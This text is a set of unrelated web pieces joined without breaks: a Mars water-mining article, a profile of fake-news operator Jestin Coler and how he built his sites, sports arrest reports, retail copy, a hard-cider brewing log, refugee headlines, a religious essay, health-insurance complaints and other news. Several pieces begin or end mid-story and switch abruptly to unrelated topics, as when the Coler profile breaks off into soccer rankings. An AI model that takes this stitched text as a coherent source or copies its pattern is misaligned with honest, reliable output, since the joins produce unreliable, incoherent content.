The mass, power, volume and mechanical complexity of the system needed for this approach are far beyond what is practical for deployment on the Red Planet, Davis said.
"The density of the water in the Martian atmosphere is so low, it would take a massive processing system," he said. "There's no way we can get there."
Water-rich minerals on Mars look far more promising, Davis said. "They require so much less power to actually free up the water molecules," he noted.
The idea of strip-mining Mars for subsurface ice deposits was reviewed in the study but got a thumbs-down, Davis said. A better approach, including to the report's authors, involves boring a hole down through the Martian dirt, vaporizing subsurface ice, bringing it up topside as a gas and then condensing that gas into liquid.
"You make the Martian environment work for us instead of against us," Davis said. "It looks very promising."
Resource feedstock
The new study is far from the last word on finding and using indigenous Martian resources, Davis said.
"For each resource feedstock on Mars that's validated, we need to understand the technology needed, the mass of the equipment required and the power it will take," he said.
Once a semi-permanent base on Mars is established, crews would set up ISRU equipment, make sure all the kinks in the gear are smoothed out and then start harvesting resources. ISRU hardware would also operate in autonomous mode when there were no humans at the base, Davis said.
"You don't achieve sustainability on Mars overnight. You grow to it," Davis said. "This is not a technical problem. Yes, there are technical issues. But it is a belief problem. If people believe it's achievable, then it will be achievable."
Jestin Coler is an unassuming guy. He lives on a quiet street in the Los Angeles suburbs with his wife and two kids. Every morning for the past 11 years, he’s put on a button-up shirt and driven a minivan to his desk job at a software company.
But until recently, Coler harbored a secret: he’d been running one of the largest fake news operations in the internet. So big, that he came to be known as the “King of Fake News.”
Over 3 years, he grew his little website, NationalReport.net, into a 100m-views-per-year fake news monolith, fueled by doctored headlines like “Colorado Pot Shop to Provide Free Marijuana to Syrian Refugees” and “City in Michigan First to Fully Implement Sharia Law.”
During the height of Coler’s success, has was raking in $30k per month, and affording a better life for his family.
The trade off: he had to sacrifice his morals, ethics and dignity — or at least, whatever he possessed to begin with.
So, where does a “Fake News King” begin?
Coler grew up in a small Northeastern Indiana town — a blue collar enclave, where respect was gained through hard-work and honesty. His pop worked for the city his whole life, and his mom was a paralegal.
Early on, Coler found work at the usual midwestern joints: McDonald’s, small diners, and factories. “There wasn’t a lot going on up there,” he says. “You take what you can get to make money.”
In college, he fell in love with political science — especially propaganda, and the way it was used to influence public opinion. He recalls studying how Theodor Geisel (Dr. Suess) used satire as a tool to change people’s minds.
For a few years, he bounced around between odd jobs — including an unlikely stint as the editor of International Yachtsman magazine — and eventually landed a role at a company that produces software for the publishing industry.
He got married, settled down in the suburbs, popped out out a few kids. And for nearly a decade, he lived an average American life.
“Then, I basically became a commercialized troll”
Around 2013, Coler began to notice that his Facebook feed was full of fake news articles that people were accepting as truthful, original sources.
“These sites would take a kernel of truth and twist it into a completely fake story to get people all worked up,” he says, “I got really interested in that, and spent time studying it… and I ultimately decided I wanted to be a part of it as well.”
At this point, Coler was not some maniacal troll: he was a respectable man, a father, and a registered Democrat with a distaste for “alt-right politics.”
Nonetheless, he registered the domain name “NationalReport.net” (“It sounded official,” he says), and threw together a website.
Then, along with a few buddies who he knew from an old satire forum, he started writing articles. He gave his writers complete autonomy, so long as they followed one core mission: Convince people of the most ridiculous, outlandish things possible.
The site had no advertising budget.
Coler would write up a story — say, “Muslim Bakery Refuses to Make American Flag Cake for Returning War Veteran” — then drop $10 or so on Facebook ads, and “spamming it around” to 50 social groups (like anti-immigrant fan clubs) where he thought it might strike a nerve. His hope was that the content could feed off of pre-existing beliefs and confirmation bias.
“The key is that nobody wants vegetables with their meal anymore,” he says. “Everyone just wants the red meat. Fake news is the red meat. You just give them what they want.”
It worked: traffic started climbing organically, and soon, advertisers were coming to him.
“This was not an honorable group of people”
“A few days in, I remember showing my wife Google Analytics and saying ‘Wow! Look, there’s 1 person on my site!’” he recalls. “Six months in, it was up to 400 or 500 concurrent visitors at any given time.”
As he expanded his writing staff, Coler enticed his employees with a tantalizing proposition.
Each story had five ads — a banner ad above the story, another below it, and 3 ads interspersed throughout the body of the text. Each new writer would create his own Google AdSense account, and would receive 100% of the revenue from the in-text ads. Coler would take the revenue on the other ads.
Of course, this incentivized writers to produce increasingly more outlandish stories. Things like:
“City in Michigan First to Fully Implement Sharia Law”
“Colorado Pot Shop to Provide Free Marijuana to Syrian Refugees”
“Hillary Clinton Promises to Confiscate ‘Three Times As Many’ Guns as Obama Did”
“Trump to Limit All Intelligence Briefings to 140 Character”
“White House Plans To Recruit Illegals To Guard Nation’s Border!”
“This was not a very honorable group of people,” Coler says of his staff, which eventually grew to 25 writers.
A small disclaimer on the site — “All news articles contained within National Report are fiction, and presumably fake news” — made Coler’s operation legal, though most people who clicked on stories never saw it, or realized what they were reading was fake.
By 2014, Coler had registered around 25 other fake news sites, and was dishing out content across all his channels, under the registered business name “DisInfoMedia, Inc.”
That year, National Report raked in nearly 100m views — and it proved to be a lucrative operation for everyone involved.
“We quickly realized this could be very profitable”
Though Coler didn’t give us specific figures, he says it wouldn’t be unreasonable to surmise he was pulling in “mid-6 figures” per year from his fake news business, or as much as $30k per month.
It wasn’t unusual for his writers — many of whom had respectable day jobs — to pull in over $100k per year from writing fake new stories. One of his “star” writers, Paul Horner, claims to have made $10k in one day after publishing a story claiming he was the street artist Banksy.
In 2015, Coler hit a roadblock: under mounting pressure over its inaction on fake news, Facebook implemented a new algorithm that slashed fake stories on the platform, and, for the first time, publicly marked stories from National Report as hoaxes.
So, Coler changed his game plan: “I had to trick Facebook into believing I was legitimate,” he says.
He registered the domain name “DenverGuardian.com” (a site that “could’ve easily been believable”) and loaded it up with real local news stories about sports teams and construction projects.
Then, he covertly began to sneak in major fake news stories with national appeal.
The story that broke the camel’s back
On November 5, 2016— two days before the election — Denver Guardian ran the following fake headline: “FBI AGENT SUSPECTED IN HILLARY EMAIL LEAKS FOUND DEAD IN APPARENT MURDER-SUICIDE.”
When it hit Facebook, it spread like wildfire; at one point, it was generating 100 shares per minute. And for millions of readers, it played into a preexisting hatred of Hillary Clinton.
For the entirety of his run, he’d been operating under a veil of anonymity. On occasion, he’d spoken to members of the press under the pseudonym “Allen Montgomery,” claiming to be publisher and owner of National Report.
But reporters started digging, and a by the end of November, NPR managed to track down Coler in his Los Angeles home.
The end, my friend
After he was outed, Coler decided to shut down all of his sites, save for National Report, which he’s since pivoted into a “more traditional” satire site. Today, it boasts all-important posts like, “Chris Christie Elected to the Supreme Food Court.”
Once “America’s #1 independent news team,” his site’s slogan now reads, “America’s shittiest news source.”
In the aftermath, Coler says he became a “scapegoat for the entire outcome” of the election — an idea he discredits. “If a guy like me can actually influence the election from my couch,” he says, “then elections are fucked.”
When his name began dotting blogs and national websites, he received his comeuppance. “I had death threats. People showed up at my door, threatening me and my family. They literally wanted to kill me… people are crazy.” He’s since changed his phone number and moved to another house.
To this day, he still works his desk job at the software company. On the side, he gives talks about “restoring trust in media and all that bullshit.” He’s also working on a children’s book with his daughter.
“I have regrets,” he cedes, in the final minutes of our phone call, “but people do worse things for money. I didn’t do anything illegal. I just pissed off some liberals…Look, I live in a very affluent part of the country, and buying a house was always unattainable. Not anymore. It afforded a better life for me and my family.”
He seems to classify himself as more of an opportunist than a villain, and ultimately, he blames those who click the stories more than he blames his own sites.
Someone who gets duped by a fake news story, he argues, should be humbled into not getting duped a second time — but that’s never the case. “We’ve all picked our sides,” he says, “And we’re not even willing to listen to the other side. I can’t be held accountable for that; I just shined a light on a problem that already existed.”
And how does he respond to those who ask him how he sleeps at night?
Of course, the social game is a reference to this controversial meme the Galaxy released yesterday that set off a firestorm on social media. Unfortunately as the Power Ranking Politburo notes with a twinge of soul-crushing reality, on the field where it counts, LA have zero points from two home matches.
And life won’t get any easier soon for the Blue White and Gold, who play their first road match when they travel to Utah to battle Real Salt Lake in a match embattled RSL head coach Jeff Cassar will be under massive pressure to get a result from.
Give your closet a refresh with guys’ clothing from Macy’s! Check out the latest casual and dress clothes (including big and tall sizes).
What are some key pieces men should own? Start with the basics like tees and underwear, try new jeans, add sweaters and top it all with style. Men should own a variety of pieces in their wardrobe to ensure they’re ready for any occasion:
• T-shirts are a good place to start when building your clothing collection—you can never have too many.
• Jeans in different washes are also important to stock up on. Find your favorite fits in light, medium and dark blues plus trendy staples like white and colored jeans, too. It’s smart to have a mixture of different denim fits including, skinny, slim straight, straight, bootcut and more.
• Sweaters and sweatshirts are perfect for the cold-weather months.
• Pants are a polished alternative to denim if you everyday life requires it.
• Dress shirts for the office or special occasions are essential.
• Underwear, whether you prefer boxers, briefs or boxer briefs are plentiful—stock up!
• Outerwear is available in a variety of styles including hoodies, jackets, coats, fleece and vests.
• Activewear is great for guys that love exercise or appreciate the athleisure look.
What shirts are in style for men? Graphic tees and button-up shirts are always in style for men. Grab T-shirts that depict your favorite icons, bands, words and more. Laidback hoodies and jackets are also having a moment.
What do men wear to a club? Men should check the dress code before they get dressed for the club, but choosing slightly dressier pieces is a good rule of thumb. Elevate your everyday uniform with an collared shirt designed to wear untucked and dark denim or slim slacks. Throw on a blazer or a sports coat if you’re feeling fancy.
What clothes should men wear for a summer bash? Lightweight pieces are great to wear for a summer party. If you’re going to party by the pool or at the beach, then grab swim trunks or board shorts to wear underneath your shorts and a tank top or shirt. Slip on a pair of sandals or boat shoes and you’re ready for a party outdoors.
Los Angeles County Jail records show Browner, 33, was arrested at 8:29 p.m in La Verne and was released almost three hours later after posting $50,000 bail.
A spokesperson with the La Verne Police Department confirmed that Browner was arrested on suspicion of making criminal threats, but the spokesperson declined to comment on any circumstances of the arrest because of the department's ongoing investigation.
Browner was a founding member of the Seahawks' Legion of Boom secondary, playing for the team from 2011 to 2013. He spent the 2014 season with the New England Patriots, helping them win Super Bowl XLIX over Seattle, and then spent the 2015 season with the New Orleans Saints.
He signed with the Seahawks last offseason and tried to make the team as a safety, but he was cut in the spring and has not been signed by an NFL team since.
When you think about The Elder Scrolls V: Skyrim, you probably don't think "casual." With its massive open world, competing factions, huge array of NPCs, widely varied environments, hundreds of dungeons and deep, flexible character creation options, Skyrim is by most measures a full-on, heavyweight RPG. Unless you work at CD Projekt Red, that is, where they apparently think that it's a fun way to pass some time in between rounds of Bejeweled.
The Witcher 3: Wild Hunt will be set in a huge open world, much like Bethesda's famed Elder Scrolls series, but CDPR is taking a different approach to the concept. "I am a fan of Skyim, a lot of us love Skyim. But while they are doing their thing, like open world, jumping and playing around quite casually, we are doing it a little bit differently," Mattson told Gameranx. "We are heavily story driven and open world. This hasn't really been done before and we want to prove that it can be done."
Rather than other games, Mattson said The Witcher 3 takes inspiration from real-life cities like Amsterdam as well as films like Robin Hood (the one with Russell Crowe), Braveheart and even Snow White. "In our office we made a huge poster with tones of color and screen shots of different films like Game of Thrones," he said. "We know what kind of tones we want. Composition and color is very important for us, to get the tone right. It adds to the cinematic experience."
In all fairness, I don't think Mattson is actually suggesting that Skyrim is a "casual game" in the usual sense (although it's a funny thought), but rather that Bethesda's approach to storytelling is less focused than CDPR's. The Elder Scrolls games are basically settings in which you can do whatever you want, while The Witcher has been a much more directed experience; trying to bring the two together is a risky move, especially for a studio taking its first run at an open-world game, but if it works it could be flat-out amazing.
The Witcher 3: Wild Hunt is being developed for the Xbox One, PlayStation 4 and PC, and is expected out sometime in 2014.
A few months back, I posted about making a simple backsweetened hard cider. At least partially inspired by this article, a good buddy and fantastic brewer, Brad, decided to give it whirl with a couple changes– he fermented with Wyeast 3711 French Saison yeast and threw in a 2 oz dry hop charge of Citra and Amarillo toward the end of fermentation. The resultant cider was, well, as my difficult-to-impress-with-alcoholic-beverages wife put it, “This is the best cider I’ve ever had, why can’t yours taste like this?” She finished the entire pint, something I’ve never seen her do. I’ve no clue what it feels like to be cheated on, and I certainly don’t mean to be presumptuous, but I’d be lying if I said I didn’t feel a whisper of pathetic impotence. I patched together my wounded ego and set out to prove myself.
Preparation for making hard cider couldn’t get much easier and starts by gathering your wares. I purchased 5 x 1 gallon bottles of my closest supermarket’s cheapest apple juice, which is preservative-free and has made good cider for me in the past.
Since my local brew shop doesn’t carry Wyeast, Brad offered to share some of what he harvested from a previous starter with me, hence the jar. I’m a dork about numbers and always take OG readings of the juice prior to fermenting it– 1.050 on the nose, perfect!
While you can certainly add simple sugars to boost the ABV, I prefer my hard cider a bit more sessionable, plus the lower OG usually requires less time to ferment and condition. I added 1.5 liters of apple juice to a sanitized flask, poured in the 3711 slurry, and let it spin with plans to harvest a pint for future use.
As one with a tendency to get hung-up on semantics, I have a hard time referring to cider making as “brewing,” it really only takes about 10 minutes, 9 of which consists of opening and pouring apple juice into a carboy. The open-and-pouring day went off without a hitch and the yeast was pitched.
Prior to making this cider, Brad informed me he fermented his at a fairly warm temperature, anywhere between 78˚F and 80˚F. This was my first and most significant departure from Brad’s process– I controlled the fermentation to 66°F because, well, that’s what I’d done in the past when using this yeast… to ferment a Saison. I always ramp temps as fermentation appears to slow anyway, I figured all would be fine.
A couple days after pitching the yeast, my airlock was bubbling slowly and there was nary a sign of krausen, some smallish bubbles on the surface of the cider. I wasn’t terribly concerned, I’d heard people speak of ciders not developing much krausen due to a lack of proteins.
In my experience making hard cider with SafAle S-04, things go gangbusters for the first 4 to 5 days then activity drops drastically, which is when I take an initial FG reading. I did the same with this batch.
Over 5 days of fermentation, the juice dropped a paltry .011 points. There went my plans to turn this cider around in time for a club meeting the following weekend. I immediately bumped the temp of the chamber to, ahem, 74°F and gave the cider a gentle swirl to kick some yeast back up into suspension. This led to a slight increase in visible activity. I left it alone for 11 days before taking another sample.
Knowing that Brad’s cider finished at 1.004, I was disappointed the see my hydrometer at a sweet 1.012. Urgh. I left it alone for another week, occasionally giving the plastic carboy a couple bumps toward the bottom to kick up some yeast.
The gravity was dropping, slowly but surely, I remained hopeful. After an entire month of fermenting, 3 of which were around 74°F, the FG was finally to a respectable 1.006.
Thankfully, the hydrometer sample tasted pretty damn good, not too sweet with no noticeable off-flavors. It was time to put the yeast to sleep by adding 1/2 tsp potassium metabisulfite and 2.5 tsp potassium sorbate, which I mixed into pre-boiled and chilled water.
After 24 hours, I added my dry hop charge of 46 grams (1.6 oz) Amarillo and 15 grams (.5 oz) CTZ. I actually had plenty of Galaxy on hand, but thought the blend of Amarillo and CTZ would be nice in a hard cider.
While I usually just throw dry hop additions directly into the carboy with no filtration, I decided to use a stainless mesh dry hop tube I received a few years back, mainly because I found it while cleaning up and was curious.
I let the hops sit in the cider for 3 days, cold crashing the day after adding them. At packaging time, I added 3 cans of apple juice concentrate to the keg then racked the hard cider on top using one of my favorite tools, the sterile siphon starter.
I’d used only 2 cans of concentrate to back-sweeten in the past, but Brad used 3 and my wife liked his, so…
I like my hard cider sparkling, so I hit it with 30 psi of CO2 for a full 2 days before reducing it to 20 psi for serving. This produced a very pleasing, almost champagne-like fizziness that left bubbles clinging to the side of the glass despite being very clean. The cider was crystal clear.
| IMPRESSIONS |
The first person, other than myself, to taste the cider was my beautiful and awesomely honest wife, Laura. She approached her first sip cautiously and allowed a meager amount between her lips. “Hmm, I can drink this one, but it’s different than Brad’s.”
Hey, I asked her to be totally honest, I guess I’m glad she wasn’t feeding me a line of bullshit. Personally, I thought my cider was pretty damn close to Brad’s, though the dry hop character may not have been as strong, which I blame on the fact I used that sheath thing– when removing and cleaning it, there was a fair amount of dry (not wet) hop matter packed in the middle.
I’ve since shared the cider with many friends, Brad included, all agreeing that it is really tasty. No one mentioned any flaws and the growlers always go fast. My personal opinion is that this is the best hard cider I’ve made, I can see myself using 3711 and dry hopping more often than not, it’s that good. I always tend to get sort of an orange-like character from Amarillo, which melded well with the subtle dankiness of the CTZ. I plan on dry hopping my next batch with Mosaic, one of my new favorite hop varieties.
If you like hops and you like hard cider, I highly recommend you give this a shot, it’s easy and very tasty. Cheers!
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The student newspaper at Evergreen State College has a section in its opinion pages described as “for people of color by people of color.”
“This should be a place where we can be us without it being overshadowed by the dark cloud that is living under white supremacy and having to see things from a white perspective. This is why when we do cover these issues it will be in the context and from the perspective of POC and POC only,” according to the section’s editors as they reintroduced it to readers in September.
The anonymous column, known as “POC Talk,” debuted in the bi-weekly Cooper Point Journal last year and returned this fall to the newspaper’s pages following racial unrest that erupted at the public university this past spring.
“Dear White people, please take a step back, this isn’t brown-people-answer-white-people’s-questions-hour, we’re asking specifically for submissions from POC,” the section’s editors added in their September intro. “As being told no seems to be a difficult concept for some of y’all I await your emails about the Irish, how the term white fragility is mean (great example of white fragility) and how we need to view people through a color-blind lens (just lol). You will 100% not get a response!!!”
Published in the Journal’s Letters & Opinion section, POC Talk says it provides “no-holds-barred commentary on local happenings.” In the inaugural POC Talk column, it was suggested that a subject touched on in the column could possibly include “how do I rid myself of white-dread [sic] roommate’s numerous micro-agressions.”
Topics the column has discussed include student activism, self care, the local comedy scene as well as the turmoil that upended the college after students in May accused a white biology professor, Bret Weinstein, and the university of perpetuating racism.
The Cooper Point Journal did not respond to multiple requests for comment regarding the column.
In one column, POC Talk points to the “scary national backlash the school faced last year”, referring to the events that rocked Evergreen after students accused Weinstein of racism because he criticized a planned “Day of Absence” in which white people were asked to stay off campus.
The protests on campus garnered national attention and amid the upheaval the college was shut for multiple days in early June because of threats it received. Since the unrest, Evergreen has said it will train students not to discriminate against white people.
Weinstein and his wife, fellow biology professor Heather Heying, sued the college and eventually a reached a $500,000 settlement, a topic POC Talk discussed earlier this semester.
A column complained about the settlement, arguing Weinstein is a poster child of white privilege and that minorities “face harassment on an almost daily basis, it’s horrible and it’s traumatizing but ain’t nobody going to pay us $500,000 to deal with it.”
The column added:
Brett [sic] is the definition of white privilege and fragility—the fear and “danger” he and his wife felt they were exposed to was only the slightest sliver of what POC deal with on an almost daily basis. The fear they were experiencing is not unique or even new to those of us who face backlash by fact of our mere existence. None of this is to deny the legitimacy of their fear, but instead to point out the privilege there is in being able to make the decision to place yourself in a space of vulnerability by publicly expressing opinions and ideas. This authority over the way people will treat you is what makes Brett [sic] and Heather the textbook definition of white fragility and privilege.
Recent columns for POC Talk include a series called a “Crash Course in Social Justice Slang,” which has defined terms such as institutional racism, “woke” and intersectionality.
MORE: Evergreen State employee resigns in disgust, citing illegal spending of state money
MORE: Evergreen College pledges to train students not to discriminate against white people
Read More
NFL's Michael Floyd Tests Positive for Alcohol During House Arrest
EXCLUSIVE
Bad news for Michael Floyd ... the Minnesota Vikings WR tested positive for alcohol during his house arrest this week, TMZ Sports has learned -- and it could mean jail time for the NFL star.
A rep for the Scottsdale City Court confirms ... Floyd's alcohol monitoring system flagged 5 events during June 11th and 12th. At least three of the events were described to us as "high alcohol tests."
Floyd is not supposed to have a single drop of booze while on house arrest, as part of the sentencing in his Arizona DUI arrest from Dec. 2016, when he was found passed out behind the wheel of his car.
As we previously reported, Floyd begged the court to remove his alcohol monitoring ankle bracelet because it would hinder him from playing football. The judge granted the request but ordered Floyd to undergo random breath tests.
A court rep tells us Floyd blamed the positive tests on Kombucha -- a fermented tea that contains a very low amount of alcohol. Typically, Kombucha contains equal or less alcohol than a non-alcoholic beer.
The issue for Floyd ... his alcohol tests all came back showing a B.A.C. of between .044 and .055, which would be hard to do on Kombucha alone. He also skipped one of his breath tests altogether.
If the court rules he violated the terms of his house arrest, Floyd could be ordered back to jail.
He's due back in court on June 26th. We reached out to Floyd's camp for comment. So far, no word back.
10:33 AM PT -- Floyd denies any wrongdoing saying, "Totally false. The whole thing is false."
Despite his claims, the Scottsdale City Court records show he's due in court on June 26th for an "Order to Show Cause" hearing.
And furthermore, Floyd's house arrest was scheduled to end Friday -- but in light of the flagged tests, he will remain on house arrest at least until the June 26 hearing, so says a rep for Scottsdale City Court.
My First First Love
A college student reluctantly lets a group of his friends move into his house, where they experience love, friendship, and everything in between.
Huge In France
Famous comedian Gad Elmaleh moves to LA to reconnect with his son and must learn to live without the celebrity perks he's accustomed to in France.
Jupiter's Legacy
When a superhero seizes control of the government, the next generation of heroes must join the new regime or fight back. Based on Mark Millar's comics.
Warrior Nun
A young woman wakes up in a morgue with inexplicable powers and gets caught in a battle between good and evil. Inspired by the manga novels.
The Witcher
The witcher Geralt, a mutated monster hunter, struggles to find his place in a world where people often prove more wicked than beasts.
Your Son
After his son is brutally beaten outside a nightclub, a surgeon takes the law into his own hands and seeks vengeance against the perpetrators.
If I Hadn't Met You
Eduard, a husband and father who loses his family in a tragic accident, travels to parallel universes to seek a better fate for his beloved wife.
Cobalt Blue
The phone's specs are as below:
Display:3.5 inch (800x480)
Camera:5 megapixel camera, Video player and recorder
Memory:256MB internal memory, 8GB memory card.
OS: Android 2.2 (download access to over 250,000 applications)
Connectivity: Stereo Bluetooth, AGPS, Wifi, WAPI, Compatible with any SIM card
Battery:1400mAh battery (6.5 hours of talk time, 11 hours of music play time or about 14 days of standby)
Messaging: SMS / MMS / Email (Predictive Text Input XT9), Image formats supported: JPEG / GIF / BMP, Sound formats supported: MP3 / AAC / AAC+ / RA / WMA
The buyers can choose from steel, gold, diamonds, black PVD, rubber, calfskin leather, carbon leather, alligator,lizard skins and titanium for phone's outfit.
Sri Lankan refugees detained on Nauru for six months have had their refugee claims approved but will be refused resettlement in Australia. The move has angered asylum...
The government's claim that Australia resettles more refugees per capita than almost any other nation should be treated with extreme scepticism. It's all in how you define...
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High Court rules Australia cannot send asylum seekers to Malaysia (CNN) -- The High Court in Australia ruled Wednesday that the country cannot send asylum seekers to Malaysia. The prime ministers of both countries had announced the agreement in May, saying it was aimed at reducing human smuggling and illegal migration to Australia. Under the deal struck at the time, the next 800 asylum seekers who arrived in Australia illegally would be... CNN
Australia: Open Statement on Offshore Detention Related Content We, as a coalition of organisations and community groups from around Australia, are writing to express our concern regarding the humanitarian crisis that Australia has created. Successive Australian governments have managed and funded offshore detention camps on Manus Island and Nauru. The people detained there are clearly Australia’s responsibility. This... Human Rights
Fact and fiction with Prime Minister Tony Abbott\'s refugee intake numbers ANALYSIS Prime Minister Tony Abbott says Australia will take more refugees from Syria in response to the growing international crisis but it will not increase the total number of asylum seekers it accepts. He says Australia is already doing a lot when it comes to accepting asylum seekers, and that "we take more refugees than any other through the UNHCR on a per capita basis."... Canberra Times
Australian refugee policy: twists in the tale The Immigration Minister's reference to 'fake refugees' stands in stark contrast to the principles for Australia's refugee policy presented to parliament 40 years ago this week, writes Claire Higgins. OPINION: On the airwaves this week, Australia's Immigration Minister Peter Dutton continues to describe asylum seekers who are yet to submit their protection applications as 'fake... Public Technologies
Australia blamed for illegal migrants Berni K. Moestafa , The Jakarta Post, Jakarta Bowing to diplomatic pressure, Indonesia is helping prevent illegal migrants from coming to Australia and in doing so is helping the latter avoid its international obligation to accepting refugees, an Australian expert on migration said. "Australia is more to blame for the current situation than Indonesia," Stephen Castles, the... Jakarta Post
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While it is virtually impossible to define a movement in this limited space, especially one whose adherents often argue about its parameters, here is one stab at this question, offered by one individual.
Modern Orthodoxy is at its core a part of Orthodoxy, which I will characterize here as a series of beliefs and practices that are loyal to Halachah, the ancient interpretation and practice of Jewish law. Modern Orthodox Jews, therefore, eat only kosher foods. We observe Shabbat from Friday afternoon through Saturday evening, and passionately follow numerous other traditions that have remained largely unchanged for thousands of years, ranging from the way we pray to the way we interact with our families to the way we celebrate lifecycle moments, be they happy or sad. Modern Orthodoxy’s theological beliefs are steadfastly part of ancient Jewish faith as well. The Bible was written by God and God’s prophets, and we, the Jewish people, are tasked with bringing the legacy of ethical monotheism and spiritual meaning to the world.
Where Modern Orthodoxy distinguishes itself from other elements of Orthodoxy is in its approach to modernity. We, Modern Orthodox Jews, see our engagement with the world around us not as a threat to our spirituality but as a sacred opportunity to expand it. Areas of study oftentimes classified as secular are seen, through the Modern Orthodox lens, as means to appreciate God by learning about God’s infinite powers of creativity and better expressing our own God-given abilities and creative potential. Art and literature are ways of deep and spiritual expression; the study of science allows for us to see God’s hand throughout the natural world; and psychology assists us in better understanding ourselves as individuals and members of society.
As a Modern Orthodox Jew, I see myself as an active member of the larger Jewish community and as a concerned citizen of the world. I seek opportunities to engage in Jewish practices, such as studying Torah and performing community service with Jews who label themselves differently than I label myself, be they to my religious left or right. I acknowledge that I do not have all the answers to the problems facing the Jewish community, and I gain strength and inspiration from other Jews facing similar challenges in their own segments of the community, and hope that they can do the same.
The partnerships I try to build with those around me manifest themselves in the pursuit of causes of social justice as well. My Modern Orthodoxy empowers me to seek solutions to the world’s injustices, and to see every human being as a bearer of God’s image.
Rabbi Yonah Berman serves Congregation Kadimah-Toras Moshe in Brighton.
Interested in learning about how the Jewish community connects across all denominations? Check out the Synagogue Council of Massachusetts.
Earlier reports of a stabbing at #UFC169 are being refuted by arena security, who say a man suffered a cut when he fell during a fight. — Jeff Wagenheim SI (@jeffwagenheim) February 2, 2014
However, the reports were later confirmed by NJ.com and the Newark Police department:
Two people were stabbed inside the Prudential Center during an Ultimate Fighting Championship event on Saturday night, police said. The victims, who were not identified, suffered non-life threatening injuries after they were stabbed in the stands, according to Newark Police Director Samuel DeMaio. A suspect was arrested in the attack, according to DeMaio, who did not identify the assailant or say when or where the incident took place. An e-mail to an arena spokesman seeking comment was not immediately returned.
An app to be released soon will help monitor the arms of young pitchers. Courtesy Throw Like a Pro
And after witnessing an increasing number of throwers seeking Tommy John surgery at progressively younger ages, Andrews and Wilk are trying to stem the tide of these devastating injuries at the youth level by teaming up to develop an iOS application designed to educate players, parents and coaches on how to prevent throwing injuries.
The app, Throw Like a Pro, will be released in the coming weeks. When available, it will feature four main elements, all centered around scientific data and input from Andrews and Wilk.
One section includes recommendations for pitchers from the American Sports Medicine Institute, such as avoiding throwing to the target of a radar gun and instead focusing on throwing with proper mechanics.
The app also includes a preseason preparation guide and pregame warm-up routine, including video instruction of various throwing exercises from Wilk. In addition to recommending specific exercises, Wilk offers tips to avoid common mistakes.
Perhaps one of the most practical sections of the app is the pitch counter and rest calculator. The pitch counter can be used to track how many pitches are thrown during a game and throughout the season.
Editor's Picks Schoenfield: Maximum effort the big problem The takeaway from the American Sports Medicine Institute's statement on Tommy John surgery is that pitchers should not pitch with maximum effort, David Schoenfield writes.
Based on the player's age, Throw Like a Pro creates specific guidelines with regards to numbers of pitches. The rest calculator outlines appropriate rest prior to resuming pitching.
Wilk said the goal of the app is to reduce shoulder and elbow injuries in youth baseball players while simultaneously improving performance.
"Hopefully this will help them to play at peak performance without injury," Wilk said, "so they can pursue their baseball aspirations in a healthy manner."
Andrews envisions the app as a means of broadly educating players along with their families and coaches to help prevent overuse injuries in young throwers.
The peace talks had been scheduled to start Thursday in Geneva. Several Yemeni officials said over the weekend they had been informed that the talks were postponed, but the U.N. statement was the first official confirmation.
Secretary-General Ban Ki-moon ordered the postponement, spokesman Stephane Dujarric said, adding that Ban “is actively working to convene the talks at the earliest possible time.”
The talks were meant to end weeks of heavy fighting and Saudi-led airstrikes against an Iran-backed Shiite militia group known as the Houthis amid a humanitarian crisis that has left millions in the Arab world’s poorest country short of food and fuel.
Dujarric said Ban is disappointed that the U.N.-sponsored talks weren’t starting on schedule and again called on all parties to participate “in good faith.”
Despite the U.N. appeal for all parties to attend the talks without preconditions, the exiled government of President Abedrabbu Mansour Hadi had reiterated its demand that Houthi militia first pull out of cities and towns seized in recent months, including the capital, Sanaa.
The Houthis backed the talks and said they would participate. Houthi militia leader Abdul-Malek al-Houthi had described talks as the only solution to the war, a view backed by the U.N. chief. Al-Houthi boycotted a recent conference hosted by Saudi Arabia, demanding that peace negotiations be held in a neutral country.
The talks, announced last week, were the first major initiative of the new U.N. special envoy for Yemen, Ismail Ould Cheikh Ahmed, who this month held meetings in Yemen with rival political players.
Ban asked Ahmed to redouble his efforts with all parties and countries in the region “with the aim of producing a comprehensive ceasefire and the resumption of peaceful dialogue and an orderly political transition,” Dujarric said.
Ban noted the escalation in fighting following a five-day humanitarian pause that ended last week and urged all parties “to be mindful of the suffering of Yemeni civilians” caused by a delay in returning to peace talks, the spokesman said.
Finally, in December 2017 I found a description on Mayo Clinic's website that described in complete detail what I was experiencing. I immediately made an appointment with my doctor and he offered "an experiment." He sent me home with an oxygen machine to use while I slept. Mayo Clinic's website confirmed that the attacks I was experiencing were treatable with oxygen. After a three night trial, all my attacks stopped, I slept, I felt normal for the first time in over two years. I went back to tell my doctor and he told me to keep the machine until he could contact my insurance and order the machine for me.
What arrived was an oxygen tank that would only last 12-13 hours. I immediately knew that would not work. But because that was all that I was told my insurance would pay for, I tried it. Here is the result: I would go to sleep, and a cluster would wake me up. I would grab the oxygen line and turn on the machine. When it subsided, I would turn it off to save oxygen. Try to go to sleep, wake up again, turn it on, turn it off... Since the pain had already taken hold, I was never able to get complete relief because clusters will cause migraines. So for four days, I had migraines during the day, and the repeated cluster attacks at night.
I called BCBS to find out why I was rejected for a machine that would run all night. The woman on the phone told me she was "writing all this down." The next day I went back to my doctor to discuss options. He told me he would "investigate, and contact BCBS and let me know." The next day the oxygen company (Lincare) called and said they were bringing out another full machine to replace the empty one.
The very next day, LINCARE called and said, "BCBS has denied paying for a machine for you and an oxygen tank. We will be coming to take it back." After the call, I called BCBS to make an appeal and gave a detailed history to Michael (who was very patient and sympathetic). He told me he would submit it as an expedited appeal and I would get an answer in 72 hours. When I hung up, I had a good cry from all the frustration and confusion and also quite a bit of hatred for an insurance person that will deny a request based on a form.
In about an hour, BCBS called me back. They said they were reviewing my appeal, but needed my doctor's number. (WHAT?). So I gave it to her. Then, in a few minutes, she called me back and said, "Your expedited appeal has been changed to 'regular processing' because we could not reach your doctor."
The deal has come under public scrutiny since it emerged that Prime Minister Benjamin Netanyahu’s personal lawyer also represents the local agent of the German conglomerate ThyssenKrupp Marine Systems set to build the vessels.
“Following new information that has been received today from the police and in view of other developments in the matter ... the attorney-general has ordered an investigation to be carried out by police concerning various aspects of the affair,” the Justice Ministry said in a statement.
Both Netanyahu and his attorney David Shimron have denied any impropriety and ThyssenKrupp Marine Systems said it has no contractual connection with the lawyer.
Shimron said he welcomed the inquiry and that its findings would clear him and that he would cooperate with investigators.
“I am absolutely certain ... that objective, expert officials will find, once and for all, that my actions were faultless and that I acted according to the law and in line with conflict-of-interest arrangements,” Shimron said in a statement.
